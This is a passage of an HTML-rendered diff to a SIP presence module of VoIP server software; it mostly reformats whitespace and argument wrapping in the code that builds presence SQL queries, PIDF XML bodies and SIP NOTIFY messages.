-                                                         &quot;,'%q','%q','%q',sip_presence.status,sip_presence.rpid &quot;
-                                                         &quot;from sip_subscriptions &quot;
-                                                         &quot;left join sip_presence on &quot;
-                                                         &quot;(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and &quot;
-                                                         &quot;sip_subscriptions.profile_name=sip_presence.profile_name) &quot;
-                                                         &quot;where sip_subscriptions.expires &gt; -1 and (event='%q' or event='%q') and sub_to_user='%q' &quot;
-                                                         &quot;and (sub_to_host='%q' or presence_hosts like '%%%q%%') &quot;
-                                                         &quot;and (sip_subscriptions.profile_name = '%q' or sip_subscriptions.presence_hosts != sip_subscriptions.sub_to_host)&quot;,
-                                                         switch_str_nil(status), switch_str_nil(rpid), host, event_type, alt_event_type, euser, host, host, profile-&gt;name))) {
</del><span class="cx"> 
</span><ins>+                if ((sql = switch_mprintf(&quot;select sip_subscriptions.proto,sip_subscriptions.sip_user,sip_subscriptions.sip_host,&quot;
+                                                                  &quot;sip_subscriptions.sub_to_user,sip_subscriptions.sub_to_host,sip_subscriptions.event,&quot;
+                                                                  &quot;sip_subscriptions.contact,sip_subscriptions.call_id,sip_subscriptions.full_from,&quot;
+                                                                  &quot;sip_subscriptions.full_via,sip_subscriptions.expires,sip_subscriptions.user_agent,&quot;
+                                                                  &quot;sip_subscriptions.accept,sip_subscriptions.profile_name&quot;
+                                                                  &quot;,'%q','%q','%q',sip_presence.status,sip_presence.rpid &quot;
+                                                                  &quot;from sip_subscriptions &quot;
+                                                                  &quot;left join sip_presence on &quot;
+                                                                  &quot;(sip_subscriptions.sub_to_user=sip_presence.sip_user and sip_subscriptions.sub_to_host=sip_presence.sip_host and &quot;
+                                                                  &quot;sip_subscriptions.profile_name=sip_presence.profile_name) &quot;
+                                                                  &quot;where sip_subscriptions.expires &gt; -1 and (event='%q' or event='%q') and sub_to_user='%q' &quot;
+                                                                  &quot;and (sub_to_host='%q' or presence_hosts like '%%%q%%') &quot;
+                                                                  &quot;and (sip_subscriptions.profile_name = '%q' or sip_subscriptions.presence_hosts != sip_subscriptions.sub_to_host)&quot;,
+                                                                  switch_str_nil(status), switch_str_nil(rpid), host, event_type, alt_event_type, euser, host, host, profile-&gt;name))) {
+
</ins><span class="cx">                         struct presence_helper helper = { 0 };
</span><span class="cx">                         helper.profile = profile;
</span><span class="cx">                         helper.event = event;
</span><span class="cx">                         SWITCH_STANDARD_STREAM(helper.stream);
</span><span class="cx">                         switch_assert(helper.stream.data);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (mod_sofia_globals.debug_presence &gt; 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s START_PRESENCE_SQL (%s)\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s START_PRESENCE_SQL (%s)\n&quot;,
</ins><span class="cx">                                                                   event-&gt;event_id == SWITCH_EVENT_PRESENCE_IN ? &quot;IN&quot; : &quot;OUT&quot;, profile-&gt;name);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -678,14 +666,13 @@
</span><span class="cx">                                 free(buf);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        sofia_glue_execute_sql_callback(profile,
-                                                                                        NULL, sql, sofia_presence_sub_callback, &amp;helper);
</del><ins>+                        sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_presence_sub_callback, &amp;helper);
</ins><span class="cx"> 
</span><span class="cx">                         if (mod_sofia_globals.debug_presence &gt; 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s END_PRESENCE_SQL (%s)\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s END_PRESENCE_SQL (%s)\n&quot;,
</ins><span class="cx">                                                                   event-&gt;event_id == SWITCH_EVENT_PRESENCE_IN ? &quot;IN&quot; : &quot;OUT&quot;, profile-&gt;name);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_safe_free(sql);
</span><span class="cx"> 
</span><span class="cx">                         if (!zstr((char *) helper.stream.data)) {
</span><span class="lines">@@ -744,7 +731,7 @@
</span><span class="cx"> 
</span><span class="cx">         while (mod_sofia_globals.running == 1) {
</span><span class="cx">                 int count = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_queue_trypop(mod_sofia_globals.presence_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_t *event = (switch_event_t *) pop;
</span><span class="cx"> 
</span><span class="lines">@@ -931,7 +918,7 @@
</span><span class="cx">                 if (!zstr(to_user)) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;to-user&quot;, to_user);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(state)) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;unique-id&quot;, SOFIA_CHAT_PROTO);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;channel-state&quot;, &quot;CS_HANGUP&quot;);
</span><span class="lines">@@ -997,50 +984,40 @@
</span><span class="cx"> 
</span><span class="cx">         if (switch_stristr(&quot;polycom&quot;, user_agent)) {
</span><span class="cx">                 *ct = &quot;application/xpidf+xml&quot;;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* of course!, lets make a big deal over dashes. Now the stupidity is complete. */
</span><span class="cx"> 
</span><span class="cx">                 if (!strcmp(prpid, &quot;on-the-phone&quot;)) {
</span><span class="cx">                         prpid = &quot;onthephone&quot;;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                ret = switch_mprintf(
-                                                          &quot;&lt;?xml version=\&quot;1.0\&quot;?&gt;\n&quot;
-                                                          &quot;&lt;!DOCTYPE presence PUBLIC \&quot;-//IETF//DTD RFCxxxx XPIDF 1.0//EN\&quot; \&quot;xpidf.dtd\&quot;&gt;\n&quot;
-                                                          &quot;&lt;presence&gt;\n&quot;
-                                                          &quot; &lt;status&gt;\n&quot;
-                                                          &quot;  &lt;note&gt;%s&lt;/note&gt;\n&quot;
-                                                          &quot; &lt;/status&gt;\n&quot;
-                                                          &quot; &lt;presentity uri=\&quot;%s;method=SUBSCRIBE\&quot; /&gt;\n&quot;
-                                                          &quot; &lt;atom id=\&quot;%s\&quot;&gt;\n&quot;
-                                                          &quot;  &lt;address uri=\&quot;%s;user=ip\&quot; priority=\&quot;0.800000\&quot;&gt;\n&quot;
-                                                          &quot;   &lt;status status=\&quot;%s\&quot; /&gt;\n&quot;
-                                                          &quot;   &lt;msnsubstatus substatus=\&quot;%s\&quot; /&gt;\n&quot;
-                                                          &quot;  &lt;/address&gt;\n&quot;
-                                                          &quot; &lt;/atom&gt;\n&quot;
-                                                          &quot;&lt;/presence&gt;\n&quot;, status, id, id, url, open, prpid
-                                                          );
</del><ins>+                ret = switch_mprintf(&quot;&lt;?xml version=\&quot;1.0\&quot;?&gt;\n&quot;
+                                                         &quot;&lt;!DOCTYPE presence PUBLIC \&quot;-//IETF//DTD RFCxxxx XPIDF 1.0//EN\&quot; \&quot;xpidf.dtd\&quot;&gt;\n&quot;
+                                                         &quot;&lt;presence&gt;\n&quot;
+                                                         &quot; &lt;status&gt;\n&quot;
+                                                         &quot;  &lt;note&gt;%s&lt;/note&gt;\n&quot;
+                                                         &quot; &lt;/status&gt;\n&quot;
+                                                         &quot; &lt;presentity uri=\&quot;%s;method=SUBSCRIBE\&quot; /&gt;\n&quot;
+                                                         &quot; &lt;atom id=\&quot;%s\&quot;&gt;\n&quot;
+                                                         &quot;  &lt;address uri=\&quot;%s;user=ip\&quot; priority=\&quot;0.800000\&quot;&gt;\n&quot;
+                                                         &quot;   &lt;status status=\&quot;%s\&quot; /&gt;\n&quot;
+                                                         &quot;   &lt;msnsubstatus substatus=\&quot;%s\&quot; /&gt;\n&quot; &quot;  &lt;/address&gt;\n&quot; &quot; &lt;/atom&gt;\n&quot; &quot;&lt;/presence&gt;\n&quot;, status, id, id, url, open, prpid);
</ins><span class="cx">         } else {
</span><span class="cx">                 *ct = &quot;application/pidf+xml&quot;;
</span><del>-                ret = switch_mprintf(
-                                                          &quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;ISO-8859-1\&quot;?&gt; \n&quot;
-                                                          &quot;&lt;presence xmlns='urn:ietf:params:xml:ns:pidf' \n&quot;
-                                                          &quot;xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n&quot;
-                                                          &quot;xmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \n&quot;
-                                                          &quot;xmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='%s'&gt;\n&quot;
-                                                          
-                                                          &quot; &lt;tuple id='t6a5ed77e'&gt;\n&quot;
-                                                          &quot;  &lt;status&gt;\r\n&quot;
-                                                          &quot;   &lt;basic&gt;%s&lt;/basic&gt;\n&quot;
-                                                          &quot;  &lt;/status&gt;\n&quot;
-                                                          &quot; &lt;/tuple&gt;\n&quot;
-                                                          &quot; &lt;dm:person id='p06360c4a'&gt;\n&quot;
-                                                          &quot;  &lt;rpid:activities&gt;\r\n&quot; 
-                                                          &quot;   &lt;rpid:%s/&gt;\n&quot;
-                                                          &quot;  &lt;/rpid:activities&gt;\n&quot;
-                                                          &quot;  &lt;dm:note&gt;%s&lt;/dm:note&gt;\n&quot;
-                                                          &quot; &lt;/dm:person&gt;\n&quot;
-                                                          &quot;&lt;/presence&gt;&quot;, id, open, prpid, status);
</del><ins>+                ret = switch_mprintf(&quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;ISO-8859-1\&quot;?&gt; \n&quot;
+                                                         &quot;&lt;presence xmlns='urn:ietf:params:xml:ns:pidf' \n&quot;
+                                                         &quot;xmlns:dm='urn:ietf:params:xml:ns:pidf:data-model' \n&quot;
+                                                         &quot;xmlns:rpid='urn:ietf:params:xml:ns:pidf:rpid' \n&quot;
+                                                         &quot;xmlns:c='urn:ietf:params:xml:ns:pidf:cipid' entity='%s'&gt;\n&quot;
+                                                         &quot; &lt;tuple id='t6a5ed77e'&gt;\n&quot;
+                                                         &quot;  &lt;status&gt;\r\n&quot;
+                                                         &quot;   &lt;basic&gt;%s&lt;/basic&gt;\n&quot;
+                                                         &quot;  &lt;/status&gt;\n&quot;
+                                                         &quot; &lt;/tuple&gt;\n&quot;
+                                                         &quot; &lt;dm:person id='p06360c4a'&gt;\n&quot;
+                                                         &quot;  &lt;rpid:activities&gt;\r\n&quot;
+                                                         &quot;   &lt;rpid:%s/&gt;\n&quot;
+                                                         &quot;  &lt;/rpid:activities&gt;\n&quot; &quot;  &lt;dm:note&gt;%s&lt;/dm:note&gt;\n&quot; &quot; &lt;/dm:person&gt;\n&quot; &quot;&lt;/presence&gt;&quot;, id, open, prpid, status);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1101,26 +1078,26 @@
</span><span class="cx">                         status = &quot;Available&quot;;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile_name &amp;&amp; strcasecmp(profile_name, helper-&gt;profile-&gt;name)) {
</span><del>-        if ((ext_profile = sofia_glue_find_profile(profile_name))) {
-            profile = ext_profile;
-        }
-    }
-        
</del><ins>+                if ((ext_profile = sofia_glue_find_profile(profile_name))) {
+                        profile = ext_profile;
+                }
+        }
+
</ins><span class="cx">         if (!(nh = nua_handle_by_call_id(profile-&gt;nua, call_id))) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (expires) {
</span><span class="cx">                 long tmp = atol(expires);
</span><span class="cx">                 if (tmp &gt; 0) {
</span><del>-                        exptime = tmp - switch_epoch_time_now(NULL);// - SUB_OVERLAP;
</del><ins>+                        exptime = tmp - switch_epoch_time_now(NULL);        // - SUB_OVERLAP;
</ins><span class="cx">                 } else {
</span><span class="cx">                         exptime = tmp;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!rpid) {
</span><span class="cx">                 rpid = &quot;unknown&quot;;
</span><span class="cx">         }
</span><span class="lines">@@ -1134,8 +1111,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (mod_sofia_globals.debug_presence &gt; 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, 
-                                                  &quot;SEND PRESENCE\nTo:      \t%s@%s\nFrom:    \t%s@%s\nCall-ID:  \t%s\nProfile:\t%s [%s]\n\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
+                                                  &quot;SEND PRESENCE\nTo:      \t%s@%s\nFrom:    \t%s@%s\nCall-ID:  \t%s\nProfile:\t%s [%s]\n\n&quot;,
</ins><span class="cx">                                                   user, host, sub_to_user, sub_to_host, call_id, profile_name, helper-&gt;profile-&gt;name);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1312,7 +1289,7 @@
</span><span class="cx">                                         if (zstr(from_id)) {
</span><span class="cx">                                                 from_id = p_to_user;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (zstr(from_id)) {
</span><span class="cx">                                                 switch_snprintf(status_line, sizeof(status_line), &quot;On The Phone %s&quot;, status);
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -1325,11 +1302,11 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 open = &quot;closed&quot;;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         prpid = translate_rpid(rpid);
</span><span class="cx">                         pl = gen_pidf(user_agent, clean_id, profile-&gt;url, open, rpid, prpid, status_line, &amp;ct);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         } else {
</span><span class="cx">                 if (in) {
</span><span class="cx">                         open = &quot;open&quot;;
</span><span class="lines">@@ -1339,15 +1316,15 @@
</span><span class="cx">                 prpid = translate_rpid(rpid);
</span><span class="cx">                 pl = gen_pidf(user_agent, clean_id, profile-&gt;url, open, rpid, prpid, status, &amp;ct);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         nua_handle_bind(nh, &amp;mod_sofia_globals.keep_private);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (helper-&gt;event &amp;&amp; helper-&gt;event-&gt;event_id == SWITCH_EVENT_PRESENCE_OUT) {
</span><span class="cx">                 switch_set_string(sstr, &quot;terminated;reason=noresource&quot;);
</span><span class="cx">                 switch_set_string(expires_str, &quot;0&quot;);
</span><del>-        kill_handle = 1;
</del><ins>+                kill_handle = 1;
</ins><span class="cx">         } else if (exptime &gt; 0) {
</span><del>-                switch_snprintf(sstr, sizeof(sstr), &quot;active;expires=%u&quot;, (unsigned)exptime);
</del><ins>+                switch_snprintf(sstr, sizeof(sstr), &quot;active;expires=%u&quot;, (unsigned) exptime);
</ins><span class="cx">         } else {
</span><span class="cx">                 unsigned delta = (unsigned) (exptime * -1);
</span><span class="cx">                 switch_snprintf(sstr, sizeof(sstr), &quot;active;expires=%u&quot;, delta);
</span><span class="lines">@@ -1363,13 +1340,12 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        nua_notify(nh, 
</del><ins>+        nua_notify(nh,
</ins><span class="cx">                            TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
</span><del>-                           SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                           SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(pl), TAG_END());
-        
</del><ins>+                           SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EVENT_STR(event), SIPTAG_CONTENT_TYPE_STR(ct), SIPTAG_PAYLOAD_STR(pl), TAG_END());
+
</ins><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (ext_profile) {
</span><span class="cx">                 sofia_glue_release_profile(ext_profile);
</span><span class="cx">         }
</span><span class="lines">@@ -1406,7 +1382,7 @@
</span><span class="cx">                         profile = ext_profile;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(nh = nua_handle_by_call_id(h-&gt;profile-&gt;nua, call_id))) {
</span><span class="cx">                 if (profile-&gt;debug) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Cannot find handle for %s\n&quot;, call_id);
</span><span class="lines">@@ -1428,7 +1404,7 @@
</span><span class="cx"> 
</span><span class="cx">         h-&gt;total++;
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (ext_profile) {
</span><span class="cx">                 sofia_glue_release_profile(ext_profile);
</span><span class="lines">@@ -1477,13 +1453,13 @@
</span><span class="cx">         char *host = argv[3];
</span><span class="cx">         char *event = argv[4];
</span><span class="cx">         int i;
</span><del>-        char sstr[128] = &quot;&quot;, expires_str[128] = &quot;&quot;;        
</del><ins>+        char sstr[128] = &quot;&quot;, expires_str[128] = &quot;&quot;;
</ins><span class="cx">         time_t exptime = 3600;
</span><span class="cx">         nua_handle_t *nh;
</span><span class="cx"> 
</span><span class="cx">         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><del>-                for(i = 0; i &lt; argc; i++) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,&quot;SLA3: %d [%s]=[%s]\n&quot;, i, columnNames[i], argv[i]);
</del><ins>+                for (i = 0; i &lt; argc; i++) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;SLA3: %d [%s]=[%s]\n&quot;, i, columnNames[i], argv[i]);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1496,13 +1472,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (exptime &gt; 0) {
</span><del>-                switch_snprintf(sstr, sizeof(sstr), &quot;active;expires=%u&quot;, (unsigned)exptime);
</del><ins>+                switch_snprintf(sstr, sizeof(sstr), &quot;active;expires=%u&quot;, (unsigned) exptime);
</ins><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sstr, sizeof(sstr), &quot;terminated;reason=noresource&quot;);
</span><span class="cx">         }
</span><del>-        
-        switch_snprintf(expires_str, sizeof(expires_str), &quot;%u&quot;, (unsigned)exptime);
</del><span class="cx"> 
</span><ins>+        switch_snprintf(expires_str, sizeof(expires_str), &quot;%u&quot;, (unsigned) exptime);
+
</ins><span class="cx">         data = switch_core_hash_find(sh-&gt;hash, key);
</span><span class="cx"> 
</span><span class="cx">         if (data) {
</span><span class="lines">@@ -1510,27 +1486,23 @@
</span><span class="cx">         } else {
</span><span class="cx">                 tmp = switch_core_sprintf(sh-&gt;pool, &quot;&lt;sip:%s&gt;;appearance-index=*;appearance-state=idle&quot;, host);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(event, &quot;line-seize&quot;) &amp;&amp; (nh = nua_handle_by_call_id(sh-&gt;profile-&gt;nua, call_id))) {
</span><span class="cx">                 char *hack;
</span><span class="cx"> 
</span><del>-                if ((hack = (char *)switch_stristr(&quot;=seized&quot;, tmp))) {
</del><ins>+                if ((hack = (char *) switch_stristr(&quot;=seized&quot;, tmp))) {
</ins><span class="cx">                         switch_snprintf(hack, 7, &quot;=idle  &quot;);
</span><span class="cx">                 }
</span><span class="cx">                 nua_notify(nh,
</span><span class="cx">                                    SIPTAG_EXPIRES_STR(&quot;0&quot;),
</span><del>-                                   SIPTAG_SUBSCRIPTION_STATE_STR(&quot;terminated;reason=noresource&quot;),
-                                   SIPTAG_EVENT_STR(&quot;line-seize&quot;), 
-                                   SIPTAG_CALL_INFO_STR(tmp), 
-                                   TAG_END());
</del><ins>+                                   SIPTAG_SUBSCRIPTION_STATE_STR(&quot;terminated;reason=noresource&quot;), SIPTAG_EVENT_STR(&quot;line-seize&quot;), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
</ins><span class="cx">                 return 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(event, &quot;call-info&quot;) &amp;&amp; (nh = nua_handle_by_call_id(sh-&gt;profile-&gt;nua, call_id))) {
</span><span class="cx">                 nua_notify(nh,
</span><span class="cx">                                    TAG_IF(*expires_str, SIPTAG_EXPIRES_STR(expires_str)),
</span><del>-                                   SIPTAG_SUBSCRIPTION_STATE_STR(sstr),
-                                   SIPTAG_EVENT_STR(&quot;call-info&quot;), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
</del><ins>+                                   SIPTAG_SUBSCRIPTION_STATE_STR(sstr), SIPTAG_EVENT_STR(&quot;call-info&quot;), SIPTAG_CALL_INFO_STR(tmp), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1549,8 +1521,8 @@
</span><span class="cx">         int i;
</span><span class="cx"> 
</span><span class="cx">         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><del>-                for(i = 0; i &lt; argc; i++) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,&quot;SLA2: %d [%s]=[%s]\n&quot;, i, columnNames[i], argv[i]);
</del><ins>+                for (i = 0; i &lt; argc; i++) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;SLA2: %d [%s]=[%s]\n&quot;, i, columnNames[i], argv[i]);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1563,9 +1535,9 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(key, sizeof(key), &quot;%s%s&quot;, user, host);
</span><del>-        
</del><ins>+
</ins><span class="cx">         data = switch_core_hash_find(sh-&gt;hash, key);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (data) {
</span><span class="cx">                 tmp = switch_core_sprintf(sh-&gt;pool, &quot;%s,&lt;sip:%s&gt;;%s;appearance-state=%s&quot;, data, host, info, state);
</span><span class="cx">         } else {
</span><span class="lines">@@ -1573,7 +1545,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_hash_insert(sh-&gt;hash, key, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1587,14 +1559,9 @@
</span><span class="cx">         sh = switch_core_alloc(pool, sizeof(*sh));
</span><span class="cx">         sh-&gt;pool = pool;
</span><span class="cx">         switch_core_hash_init(&amp;sh-&gt;hash, sh-&gt;pool);
</span><del>-                        
</del><ins>+
</ins><span class="cx">         sql = switch_mprintf(&quot;select sip_from_user,sip_from_host,call_info,call_info_state from sip_dialogs &quot;
</span><del>-                                                 &quot;where hostname='%q' &quot;
-                                                 &quot;and sip_from_user='%q' and sip_from_host='%q' &quot;,
-                                                 mod_sofia_globals.hostname,
-                                                 to_user,
-                                                 to_host
-                                                 );
</del><ins>+                                                 &quot;where hostname='%q' &quot; &quot;and sip_from_user='%q' and sip_from_host='%q' &quot;, mod_sofia_globals.hostname, to_user, to_host);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="lines">@@ -1603,27 +1570,18 @@
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, profile-&gt;ireg_mutex, sql, broadsoft_sla_gather_state_callback, sh);
</span><span class="cx">         switch_safe_free(sql);
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (unseize) {
</span><span class="cx">                 sql = switch_mprintf(&quot;select call_id,expires,sub_to_user,sub_to_host,event &quot;
</span><span class="cx">                                                          &quot;from sip_subscriptions &quot;
</span><span class="cx">                                                          &quot;where expires &gt; -1 and hostname='%q' &quot;
</span><span class="cx">                                                          &quot;and sub_to_user='%q' and sub_to_host='%q' &quot;
</span><del>-                                                         &quot;and (event='call-info' or event='line-seize')&quot;,
-                                                         mod_sofia_globals.hostname,
-                                                         to_user,
-                                                         to_host
-                                                         );
</del><ins>+                                                         &quot;and (event='call-info' or event='line-seize')&quot;, mod_sofia_globals.hostname, to_user, to_host);
</ins><span class="cx">         } else {
</span><span class="cx">                 sql = switch_mprintf(&quot;select call_id,expires,sub_to_user,sub_to_host,event &quot;
</span><span class="cx">                                                          &quot;from sip_subscriptions &quot;
</span><span class="cx">                                                          &quot;where expires &gt; -1 and hostname='%q' &quot;
</span><del>-                                                         &quot;and sub_to_user='%q' and sub_to_host='%q' &quot;
-                                                         &quot;and (event='call-info')&quot;,
-                                                         mod_sofia_globals.hostname,
-                                                         to_user,
-                                                         to_host
-                                                         );
</del><ins>+                                                         &quot;and sub_to_user='%q' and sub_to_host='%q' &quot; &quot;and (event='call-info')&quot;, mod_sofia_globals.hostname, to_user, to_host);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1639,10 +1597,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (clear) {
</span><del>-                sql = switch_mprintf(&quot;delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'&quot;,
-                                                         to_user,
-                                                         to_host
-                                                         );
</del><ins>+                sql = switch_mprintf(&quot;delete from sip_dialogs where sip_from_user='%q' and sip_from_host='%q' and call_info_state='seized'&quot;, to_user, to_host);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="lines">@@ -1696,11 +1651,11 @@
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+                sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx"> 
</span><span class="cx">                 if (sofia_glue_check_nat(profile, network_ip)) {
</span><span class="cx">                         is_auto_nat = 1;
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">                 tl_gets(tags, NUTAG_SUBSTATE_REF(sub_state), TAG_END());
</span><span class="cx"> 
</span><span class="lines">@@ -1719,7 +1674,7 @@
</span><span class="cx">                                         display = &quot;\&quot;user\&quot;&quot;;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                } else { 
</del><ins>+                } else {
</ins><span class="cx">                         display = &quot;\&quot;user\&quot;&quot;;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1778,22 +1733,13 @@
</span><span class="cx">                 ipv6 = strchr(contact_host, ':');
</span><span class="cx">                 if (contact-&gt;m_url-&gt;url_params) {
</span><span class="cx">                         contact_str = switch_mprintf(&quot;%s &lt;sip:%s@%s%s%s%s;%s&gt;%s&quot;,
</span><del>-                                                                                display, contact-&gt;m_url-&gt;url_user,
-                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                contact_host,
-                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                new_port,
-                                                                                contact-&gt;m_url-&gt;url_params,
-                                                                                is_nat ? &quot;;fs_nat=yes&quot; : &quot;&quot;);
</del><ins>+                                                                                 display, contact-&gt;m_url-&gt;url_user,
+                                                                                 ipv6 ? &quot;[&quot; : &quot;&quot;,
+                                                                                 contact_host, ipv6 ? &quot;]&quot; : &quot;&quot;, new_port, contact-&gt;m_url-&gt;url_params, is_nat ? &quot;;fs_nat=yes&quot; : &quot;&quot;);
</ins><span class="cx">                 } else {
</span><span class="cx">                         contact_str = switch_mprintf(&quot;%s &lt;sip:%s@%s%s%s%s&gt;%s&quot;,
</span><del>-                                                                                display,
-                                                                                contact-&gt;m_url-&gt;url_user,
-                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                                                                contact_host,
-                                                                                ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                                                                new_port,
-                                                                                is_nat ?  &quot;;fs_nat=yes&quot; : &quot;&quot;);
</del><ins>+                                                                                 display,
+                                                                                 contact-&gt;m_url-&gt;url_user, ipv6 ? &quot;[&quot; : &quot;&quot;, contact_host, ipv6 ? &quot;]&quot; : &quot;&quot;, new_port, is_nat ? &quot;;fs_nat=yes&quot; : &quot;&quot;);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1841,7 +1787,7 @@
</span><span class="cx">                         if ((p = strchr(protocol, '+'))) {
</span><span class="cx">                                 *p = '\0';
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_event_create(&amp;sevent, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_add_header_string(sevent, SWITCH_STACK_BOTTOM, &quot;proto&quot;, protocol);
</span><span class="cx">                                 switch_event_add_header_string(sevent, SWITCH_STACK_BOTTOM, &quot;login&quot;, profile-&gt;name);
</span><span class="lines">@@ -1884,13 +1830,13 @@
</span><span class="cx">                 call_id = sip-&gt;sip_call_id-&gt;i_id;
</span><span class="cx">                 full_from = sip_header_as_string(profile-&gt;home, (void *) sip-&gt;sip_from);
